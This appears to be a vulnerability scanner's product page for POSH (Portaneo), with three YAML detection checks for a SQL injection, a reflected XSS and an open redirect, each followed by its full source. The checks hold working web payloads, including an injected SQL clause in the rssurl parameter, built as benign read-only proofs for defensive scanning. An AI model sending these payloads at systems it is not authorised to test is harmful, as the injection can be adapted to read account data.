POSH — 3 vulnerability checks

noctis ships 3 vulnerability checks for POSH, covering 3 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

POSH (Portaneo) addtoapplication.php 'rssurl' SQL Injection

CVECVE-2014-2211
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/posh/CVE-2014-2211.yaml

Tests POSH (Portaneo Open Source Homepage) for the unauthenticated SQL injection through the rssurl parameter of portal/addtoapplication.php, which is pasted unquoted into the column list of the module lookup query. Under the web root, /posh and /portal, the feed requests that page with an rssurl value that replaces the rest of the query with a single constant row whose module name is a NOCTIS marker around the product of two random numbers, computed by the database. A vulnerable POSH (3.0 to 3.2.1) prints that name in the page. The correct product in the page confirms that the database ran the injected SQL; the product is not part of the request, so a page that only echoes the URL is not reported. The probe reads no table and changes nothing.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Parses / computes the next value with a Rhai script
  3. HTTP(S) request GET {{dir}}/portal/addtoapplication.php?pid=1&rssurl=1%20x,nbvariables,defvar%20FROM%20(S…
  4. Parses / computes the next value with a Rhai script
  5. Checks proof for ^NOCTIS[0-9]+END$ → finding QoD 97: POSH (Portaneo) addtoapplication.php 'rssurl' SQL Injection (CVE-2014-2211)

References:

Feed source — tests/vulnerabilities/posh/CVE-2014-2211.yaml
# POSH (Portaneo) addtoapplication.php 'rssurl' SQL injection — CVE-2014-2211
#
# POSH 3.0 through 3.2.1, portal/addtoapplication.php (no login needed):
#   $DB->getResults($addtoapplication_getRssInfo, $_GET["rssurl"], $DB->escape($_GET["pid"]));
#   $addtoapplication_getRssInfo = "SELECT id,name,url,height,format,%s,nbvariables,defvar
#     FROM dir_item,dir_cat_item WHERE id=item_id AND id=%u LIMIT 0,1 ";
# getResults() runs vsprintf(), so rssurl is pasted raw into the column list.
# The page prints the row's name as <u>name</u> (when id != 86) and in
# $p.navigator.changeTitle("name"). POSH 3.3.0 quotes the value
# ($DB->quote, upstream SVN r3540).
#
# Detection (benign, read-only), per candidate install directory
# ("", /posh, /portal):
#   GET <dir>/portal/addtoapplication.php?pid=1&rssurl=<payload>, payload =
#     1 x,nbvariables,defvar FROM (SELECT 2 id,CONCAT(0x4e4f43544953,<a>*<b>,0x454e44) name,
#       3 url,4 height,5 format,6 nbvariables,7 defvar)t-- -
#   The injected FROM clause selects one constant row from a derived table and
#   comments out the original FROM/WHERE, so no table is read and the query
#   works on an empty directory. The module name of that row is
#   NOCTIS<a×b>END (0x4e4f43544953 = "NOCTIS", 0x454e44 = "END"), printed by
#   the page. The operands are two random 6-digit numbers; their product is
#   computed by the database and is not part of the request, so a page that
#   echoes the URL cannot produce it. No quote is sent (magic_quotes_gpc
#   cannot break it). QoD 97. Checked against MariaDB 10.11 with the query
#   built by PHP vsprintf() from the 3.2.1 template.
#   3.3.0 turns the payload into a string literal: no marker.
#
# Improvements over the source NASL: the NASL lists this CVE but only probes
# the mobile login XSS (CVE-2014-2214, sibling feed posh/CVE-2014-2214.yaml);
# this feed proves the SQL injection itself.
#
# CVSS: CVE-2014-2211 v2 7.5 (NVD has no v3 score).
#
# Ported from OpenVAS/Greenbone NVT 2014/gb_posh_mult_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.804244, GPL-2.0-only).
uid: 1296c20b-3f0a-4e7c-810e-f4940e048249
name: "POSH (Portaneo) addtoapplication.php 'rssurl' SQL Injection (CVE-2014-2211)"
description: |
  Tests POSH (Portaneo Open Source Homepage) for the unauthenticated SQL
  injection through the rssurl parameter of portal/addtoapplication.php, which
  is pasted unquoted into the column list of the module lookup query. Under the
  web root, /posh and /portal, the feed requests that page with an rssurl value
  that replaces the rest of the query with a single constant row whose module
  name is a NOCTIS marker around the product of two random numbers, computed by
  the database. A vulnerable POSH (3.0 to 3.2.1) prints that name in the page.
  The correct product in the page confirms that the database ran the injected
  SQL; the product is not part of the request, so a page that only echoes the
  URL is not reported. The probe reads no table and changes nothing.
cves: [CVE-2014-2211]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [posh, portaneo, php, mysql, sqli, in-band, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2014-2211"
  - "https://sysdream.com/news/lab/posh-3-2-1-multiple-vulnerabilities/"
  - "http://seclists.org/oss-sec/2014/q1/444"
  - "http://sourceforge.net/p/posh/svn/3540/"
  # OpenVAS/Greenbone NASL 2014/gb_posh_mult_vuln.nasl (GPL-2.0-only)

steps:
  # Random operands; the expected proof is computed locally.
  - id: mint
    action: script
    code: '#{ a: rand_int(100000, 999999), b: rand_int(100000, 999999) }'
    store_as: m

  - id: mint-marker
    action: script
    code: '"NOCTIS" + (m.a * m.b) + "END"'
    store_as: marker

  # ── Loop group: every following step runs once per install directory ────
  - id: init-sqli-r
    action: set_var
    var_name: sqli_r
    var_value: {status: 0, body: ""}
    loop:
      over: ["", "/posh", "/portal"]
      var: dir

  - id: inject
    action: http_request
    method: GET
    path: "{{dir}}/portal/addtoapplication.php?pid=1&rssurl=1%20x,nbvariables,defvar%20FROM%20(SELECT%202%20id,CONCAT(0x4e4f43544953,{{m.a}}*{{m.b}},0x454e44)%20name,3%20url,4%20height,5%20format,6%20nbvariables,7%20defvar)t--%20-"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: sqli_r

  - id: verdict
    action: script
    code: |
      if type_of(sqli_r.body) == "string" && stridx(sqli_r.body, marker) >= 0 { marker } else { "" }
    store_as: proof

  - id: report
    action: match
    source: proof
    pattern: "^NOCTIS[0-9]+END$"
    on_match:
      finding:
        title: "POSH (Portaneo) addtoapplication.php 'rssurl' SQL Injection (CVE-2014-2211)"
        description: "An unauthenticated GET to portal/addtoapplication.php with SQL in the rssurl parameter made the database compute the product of two random numbers, which the page printed as the module name. Any query the POSH database user may run can be injected the same way, including reading the users table with the account e-mails and password hashes."
        remediation: "Upgrade POSH to 3.3.0 or later, which quotes the rssurl parameter. Until then, restrict access to portal/addtoapplication.php or block requests whose rssurl parameter is not a URL at a reverse proxy or web application firewall."
        confidence_delta: 0.65
        qod: 97
        evidence: "GET {{dir}}/portal/addtoapplication.php?pid=1&rssurl=<injected FROM computing {{m.a}}*{{m.b}}> returned the database-computed module name: {{proof}}"
      stop: true

POSH (Portaneo) Mobile login.php 'error' Reflected XSS

CVECVE-2014-2214
Severitymedium · CVSS 6.1
Categoryxss — XSS
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 75
Feedtests/vulnerabilities/posh/CVE-2014-2214.yaml

Tests POSH (Portaneo Open Source Homepage) for the reflected cross-site scripting in the error parameter of the mobile login page (includes/plugins/mobile/scripts/login.php), which needs no login. Under the web root, /posh and /portal, the feed requests that page with an error value that is an HTML element named after a random marker for this scan. A vulnerable POSH (3.0 to 3.2.1) prints the value unescaped in the page's alert box, so the element becomes part of the page and a crafted link can run script in a visitor's browser. The finding requires the POSH mobile page holding the element verbatim; a version that HTML-escapes the value (3.3.0 and later) is not reported. The request only renders a page and changes nothing on the server.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{dir}}/includes/plugins/mobile/scripts/login.php?error=%3C{{tok}}%3E
  3. Parses / computes the next value with a Rhai script
  4. Checks xss_proof for ^<noctis[0-9a-f]{12}>$ → finding QoD 75: POSH (Portaneo) Mobile login.php 'error' Reflected XSS (CVE-2014-2214)

References:

Feed source — tests/vulnerabilities/posh/CVE-2014-2214.yaml
# POSH (Portaneo) mobile login.php 'error' reflected XSS — CVE-2014-2214
#
# POSH 3.0 through 3.2.1, includes/plugins/mobile/scripts/login.php:
#   echo generate_warning('alert', ''.lg($_GET['error']).'', '', '');
# lg() returns its argument unchanged when it is not a translation key, and
# generate_warning() pastes it into <div id="alert"> as HTML. POSH 3.3.0 wraps
# it in htmlentities(). The page needs no login.
#
# Detection (benign, read-only), per candidate install directory
# ("", /posh, /portal):
#   GET <dir>/includes/plugins/mobile/scripts/login.php?error=%3C<marker>%3E
#   where <marker> is "noctis" + 12 random hex digits for this scan. The
#   finding needs the POSH mobile page (title "Portaneo mobile", <div
#   id="alert">) holding the element <marker> verbatim, unescaped. 3.3.0
#   prints &lt;<marker>&gt;. Nothing on the server changes.
#
# Improvements over the source NASL: the NASL first requires <dir>/login.php
# to be the POSH login page, but that page lives in <install>/portal/ while
# the probe is <install>/includes/..., so on a standard install the gate and
# the probe never line up (false negative). The feed probes the mobile login
# directly and gates on the page itself. A random marker replaces the fixed
# <script>alert(document.cookie)</script> string.
#
# Sibling feeds for the same issue: posh/CVE-2014-2211.yaml (SQL injection),
# posh/CVE-2014-2213.yaml (open redirect). CVE-2014-2212 (credentials in the
# remember-me cookie) needs a logged-in account and is not covered.
#
# CVSS: CVE-2014-2214 v3.1 6.1 (NVD).
#
# Ported from OpenVAS/Greenbone NVT 2014/gb_posh_mult_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.804244, GPL-2.0-only).
uid: 347569ed-38ea-4188-861c-7b7d05a1e513
name: "POSH (Portaneo) Mobile login.php 'error' Reflected XSS (CVE-2014-2214)"
description: |
  Tests POSH (Portaneo Open Source Homepage) for the reflected cross-site
  scripting in the error parameter of the mobile login page
  (includes/plugins/mobile/scripts/login.php), which needs no login. Under the
  web root, /posh and /portal, the feed requests that page with an error value
  that is an HTML element named after a random marker for this scan. A
  vulnerable POSH (3.0 to 3.2.1) prints the value unescaped in the page's alert
  box, so the element becomes part of the page and a crafted link can run
  script in a visitor's browser. The finding requires the POSH mobile page
  holding the element verbatim; a version that HTML-escapes the value
  (3.3.0 and later) is not reported. The request only renders a page and
  changes nothing on the server.
cves: [CVE-2014-2214]
cvss: 6.1
severity: medium
category: xss
confidence_base: 0.30
tags: [posh, portaneo, php, xss, reflected, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2014-2214"
  - "https://sysdream.com/news/lab/posh-3-2-1-multiple-vulnerabilities/"
  - "http://seclists.org/oss-sec/2014/q1/444"
  - "https://sourceforge.net/projects/posh/"
  # OpenVAS/Greenbone NASL 2014/gb_posh_mult_vuln.nasl (GPL-2.0-only)

steps:
  # Random marker for this scan (letters and hex digits only).
  - id: marker
    action: script
    code: |
      "noctis" + oob_token.sub_string(0, 8) + oob_token.sub_string(9, 4)
    store_as: tok

  # ── Loop group: every following step runs once per install directory ────
  - id: init-probe-r
    action: set_var
    var_name: probe_r
    var_value: {status: 0, body: ""}
    loop:
      over: ["", "/posh", "/portal"]
      var: dir

  - id: probe
    action: http_request
    method: GET
    path: "{{dir}}/includes/plugins/mobile/scripts/login.php?error=%3C{{tok}}%3E"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: probe_r

  # The unescaped element, on the POSH mobile page — or "".
  - id: reflection
    action: script
    code: |
      let out = "";
      if probe_r.status == 200 && type_of(probe_r.body) == "string" {
        let b = probe_r.body;
        if b.contains("<title>Portaneo mobile</title>") && b.contains("<div id=\"alert\">")
          && b.contains("<" + tok + ">") {
          out = "<" + tok + ">";
        }
      }
      out
    store_as: xss_proof

  - id: report
    action: match
    source: xss_proof
    pattern: '^<noctis[0-9a-f]{12}>$'
    on_match:
      finding:
        title: "POSH (Portaneo) Mobile login.php 'error' Reflected XSS (CVE-2014-2214)"
        description: "The POSH mobile login page copied the error parameter unescaped into its alert box: an HTML element sent in the parameter came back as markup. An attacker can send a crafted link that runs script in the browser of a POSH user, for example to steal the session or the remember-me cookie."
        remediation: "Upgrade POSH to 3.3.0 or later, which HTML-escapes the error parameter of the mobile login page. Until then, remove includes/plugins/mobile if the mobile portal is not used, or filter the parameter at a reverse proxy or web application firewall."
        confidence_delta: 0.55
        qod: 75
        evidence: "GET {{dir}}/includes/plugins/mobile/scripts/login.php?error=%3C{{tok}}%3E returned the POSH mobile page with the element unescaped: {{xss_proof}}"
      stop: true

POSH (Portaneo) scr_sendmd5.php 'redirect' Open Redirect

CVECVE-2014-2213
Severitymedium · CVSS 6.1
Categoryexposure — Exposure
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 75
Feedtests/vulnerabilities/posh/CVE-2014-2213.yaml

Tests POSH (Portaneo Open Source Homepage) for the open redirect in the redirect parameter of the password reset script portal/scr_sendmd5.php, which needs no login. Under the web root, /posh and /portal, the feed first posts a random, non-existent e-mail address to the script and requires the POSH XML reply. It then posts the same address with a redirect value pointing to a host named after a random marker for this scan, without following redirects. A vulnerable POSH (3.0 to 3.2.1) answers with a redirect to exactly that URL, so a crafted form can send users to any site, for example a phishing page posing as the portal. A version that always redirects to its own password page (3.3.0 and later) is not reported. The address matches no account, so no reset e-mail is sent and nothing on the server changes.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request POST {{dir}}/portal/scr_sendmd5.php with a crafted body
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request POST {{dir}}/portal/scr_sendmd5.php with a crafted body
  5. Parses / computes the next value with a Rhai script
  6. Checks proof for ^https://noctis[0-9a-f]{12}\.example\.com/$ → finding QoD 75: POSH (Portaneo) scr_sendmd5.php 'redirect' Open Redirect (CVE-2014-2213)

References:

Feed source — tests/vulnerabilities/posh/CVE-2014-2213.yaml
# POSH (Portaneo) scr_sendmd5.php 'redirect' open redirect — CVE-2014-2213
#
# POSH 3.0 through 3.2.1, portal/scr_sendmd5.php (password reset, no login):
#   $lost_email = (isset($_POST["username"])) ? $_POST["username"] : exit();
#   ... looks the e-mail up, mails a reset link only when an account has it ...
#   if (isset($_POST["redirect"])) header('location:'.$_POST["redirect"]);
#   else <phpscript><status>0|1</status>... (XML reply)
# POSH 3.3.0 always redirects to password_missing.php?emailsent=1.
#
# Detection (benign), per candidate install directory ("", /posh, /portal):
#   1. POST <dir>/portal/scr_sendmd5.php username=<random>@<random>.invalid
#      must answer the POSH XML reply (<phpscript> ... <status>) — product gate.
#   2. POST the same with redirect=https://<marker>.example.com/ (marker random
#      for this scan), without following redirects. A 3xx whose Location is
#      exactly that URL confirms the open redirect.
#   Both requests use a random address under the reserved .invalid TLD that no
#   account can have, so POSH finds no user and sends no e-mail; nothing on
#   the server changes.
#
# Improvements over the source NASL: the NASL lists this CVE but only probes
# the mobile login XSS (CVE-2014-2214, sibling feed posh/CVE-2014-2214.yaml);
# this feed proves the redirect itself.
#
# Category: exposure (a feature open to abuse — the closed vocabulary has no
# open-redirect value; same choice as greenbone/CVE-2018-25016.yaml).
#
# CVSS: CVE-2014-2213 v3.1 6.1 (NVD).
#
# Ported from OpenVAS/Greenbone NVT 2014/gb_posh_mult_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.804244, GPL-2.0-only).
uid: 5ac9ae24-93b4-4908-9de3-4ed94b2772d6
name: "POSH (Portaneo) scr_sendmd5.php 'redirect' Open Redirect (CVE-2014-2213)"
description: |
  Tests POSH (Portaneo Open Source Homepage) for the open redirect in the
  redirect parameter of the password reset script portal/scr_sendmd5.php,
  which needs no login. Under the web root, /posh and /portal, the feed first
  posts a random, non-existent e-mail address to the script and requires the
  POSH XML reply. It then posts the same address with a redirect value
  pointing to a host named after a random marker for this scan, without
  following redirects. A vulnerable POSH (3.0 to 3.2.1) answers with a
  redirect to exactly that URL, so a crafted form can send users to any site,
  for example a phishing page posing as the portal. A version that always
  redirects to its own password page (3.3.0 and later) is not reported. The
  address matches no account, so no reset e-mail is sent and nothing on the
  server changes.
cves: [CVE-2014-2213]
cvss: 6.1
severity: medium
category: exposure
confidence_base: 0.30
tags: [posh, portaneo, php, open-redirect, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2014-2213"
  - "https://sysdream.com/news/lab/posh-3-2-1-multiple-vulnerabilities/"
  - "http://seclists.org/oss-sec/2014/q1/444"
  # OpenVAS/Greenbone NASL 2014/gb_posh_mult_vuln.nasl (GPL-2.0-only)

steps:
  # Random marker for this scan (letters and hex digits only).
  - id: marker
    action: script
    code: |
      "noctis" + oob_token.sub_string(0, 8) + oob_token.sub_string(9, 4)
    store_as: tok

  # ── Loop group: every following step runs once per install directory ────
  - id: init-gate-r
    action: set_var
    var_name: gate_r
    var_value: {status: 0, body: ""}
    loop:
      over: ["", "/posh", "/portal"]
      var: dir

  - id: init-redir-r
    action: set_var
    var_name: redir_r
    var_value: {status: 0, body: "", headers: {}}

  - id: gate-request
    action: http_request
    method: POST
    path: "{{dir}}/portal/scr_sendmd5.php"
    port: "{{port}}"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "username={{tok}}%40{{tok}}.invalid"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: gate_r

  - id: gate
    action: script
    code: |
      gate_r.status == 200 && type_of(gate_r.body) == "string"
        && gate_r.body.contains("<phpscript>") && gate_r.body.contains("<status>")
    store_as: is_posh

  - id: redirect-request
    action: http_request
    condition: "is_posh"
    method: POST
    path: "{{dir}}/portal/scr_sendmd5.php"
    port: "{{port}}"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "username={{tok}}%40{{tok}}.invalid&redirect=https%3A%2F%2F{{tok}}.example.com%2F"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: redir_r

  # The Location of a 3xx reply, when it is exactly our URL — or "".
  - id: verdict
    action: script
    code: |
      let out = "";
      if is_posh && redir_r.status >= 300 && redir_r.status < 400 && "location" in redir_r.headers {
        let loc = redir_r.headers["location"];
        if type_of(loc) == "string" {
          loc.trim();
          if loc == "https://" + tok + ".example.com/" { out = loc; }
        }
      }
      out
    store_as: proof

  - id: report
    action: match
    source: proof
    pattern: '^https://noctis[0-9a-f]{12}\.example\.com/$'
    on_match:
      finding:
        title: "POSH (Portaneo) scr_sendmd5.php 'redirect' Open Redirect (CVE-2014-2213)"
        description: "The POSH password reset script portal/scr_sendmd5.php redirected to the external URL given in its redirect parameter, without login. An attacker can host a form or link that passes through the trusted portal and lands users on a site of their choosing, for example a phishing page posing as the portal login."
        remediation: "Upgrade POSH to 3.3.0 or later, which always redirects to its own password page. Until then, block POST requests to portal/scr_sendmd5.php whose redirect parameter is an absolute URL at a reverse proxy or web application firewall."
        confidence_delta: 0.55
        qod: 75
        evidence: "POST {{dir}}/portal/scr_sendmd5.php with redirect=https://{{tok}}.example.com/ was answered with HTTP {{redir_r.status}} and Location: {{proof}}"
      stop: true

View these feeds on GitHub